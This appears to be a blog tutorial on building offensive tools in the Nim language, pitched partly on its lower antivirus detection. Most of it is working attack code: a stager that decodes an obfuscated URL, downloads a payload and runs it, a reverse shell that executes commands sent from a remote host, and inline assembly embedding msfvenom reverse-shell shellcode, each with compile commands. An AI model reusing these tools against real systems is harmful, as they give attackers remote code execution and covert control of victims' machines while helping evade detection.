Nim is a statically compiled programming language. The language itself is pretty similar scripting languages such as Python.
The Nim compiler translates Nim source code to C before compilation, and supports cross compilation between Operating Systems.
By virtue of it being relativly obscure, Anti-Virus detection rates can be lower compared to other languages, such as C#. As such, it’s been adopted by threat actors.
To install Nim on a Mac with homebrew;
brew install nim --verbose
To install on a Kali Linux host;
sudo app install nim
For cross compilation (creating Windows executable on Linux/MacOS), ensure the MinGW compiler is installed;
brew install mingw-w64
sudo apt install mingw-w64
Then just specify MinGW should be used when compiling.
nim c -d:mingw example.nim
Writing a Stager
The purpose of this application is to download and execute further code. The code should be relativly self explanitory if you are used to Python.
- The let statement defines a single assignment variable. (Lines 9,10)
- The discard statement does nothing, but needed as the execCmd function must return a value. (Line 16)
import std/httpclient
import std/base64
import std/osproc
let encodedurl = "aHR0cHM6Ly93d3cuYm9yZGVyZ2F0ZS5jby51aw=="
let decodedurl = decode(encodedurl)
var client = newHttpClient()
echo "Downloading Content..."
writeFile("payload", client.getContent(decodedurl))
discard execCmd("chmod +x ./payload && ./payload")
Compile the application using;
nim c -d:ssl -o:Stager -r Stager.nim
Writing a Reverse Shell
In this example, we’re using creating a socket to a remote host, executing commands provided and returning a response.
Note, that space characters are used as markup in Nim, but tab characters are not allowed!
import std/osproc
import std/times
import net
import os
import streams
let ip = "192.168.1.236"
let port = 4444
while true:
try:
echo now(), " Attempting to connect to ", ip, " on port ", port
var socket = newSocket()
socket.connect(ip, Port(port))
echo now(), " Connected!"
while true:
try:
socket.send(">")
var command = socket.recvLine()
var result = execProcess(command)
socket.send(result)
except:
echo now(), " Error sending response: ", getCurrentExceptionMsg()
break
except:
echo now(), " Unable to connect to ", ip, " on port ", port, " ", getCurrentExceptionMsg()
sleep(2000)
Compile with;
nim c -o:RevShell -r ReverseShell.nim
Win32 Access
The WinIm library can be used to interface with the Win32 API.
import winim/com
MessageBox(0, "Test", "Nim is awesome!", 0)
Executing Shellcode
Since Nim is compiling our code to C, we can use inline assembly to execute shellcode, without using any further API’s (such as VirtualAlloc on Windows).
# msfvenom -p linux/aarch64/shell_reverse_tcp EXITFUNC=thread LHOST=127.0.0.1 LPORT=4444 -f csharp
proc shellcode(): void =
asm """
.byte 0x40,0x00,0x80,0xd2,0x21,0x00,0x80,0xd2,0x02,0x00,0x80,0xd2,0xc8,0x18,0x80,0xd2,0x01,0x00,0x00,0xd4,0xe3,0x03,0x00,0xaa,0x41,0x03,0x00,0x10,0x02,0x02,0x80,0xd2,0x68,0x19,0x80,0xd2,0x01,0x00,0x00,0xd4,0x60,0x02,0x00,0x35,0xe0,0x03,0x03,0xaa,0x02,0x00,0x80,0xd2,0x01,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x21,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x41,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x80,0x01,0x00,0x10,0x02,0x00,0x80,0xd2,0xe0,0x03,0x00,0xf9,0xe2,0x07,0x00,0xf9,0xe1,0x03,0x00,0x91,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x00,0x00,0x80,0xd2,0xa8,0x0b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x02,0x00,0x11,0x5c,0x7f,0x00,0x00,0x01,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
ret
"""
shellcode()
In Conclusion
These examples are fairly basic, but hopefully give you an idea of how easy it is to create simple tools using Nim.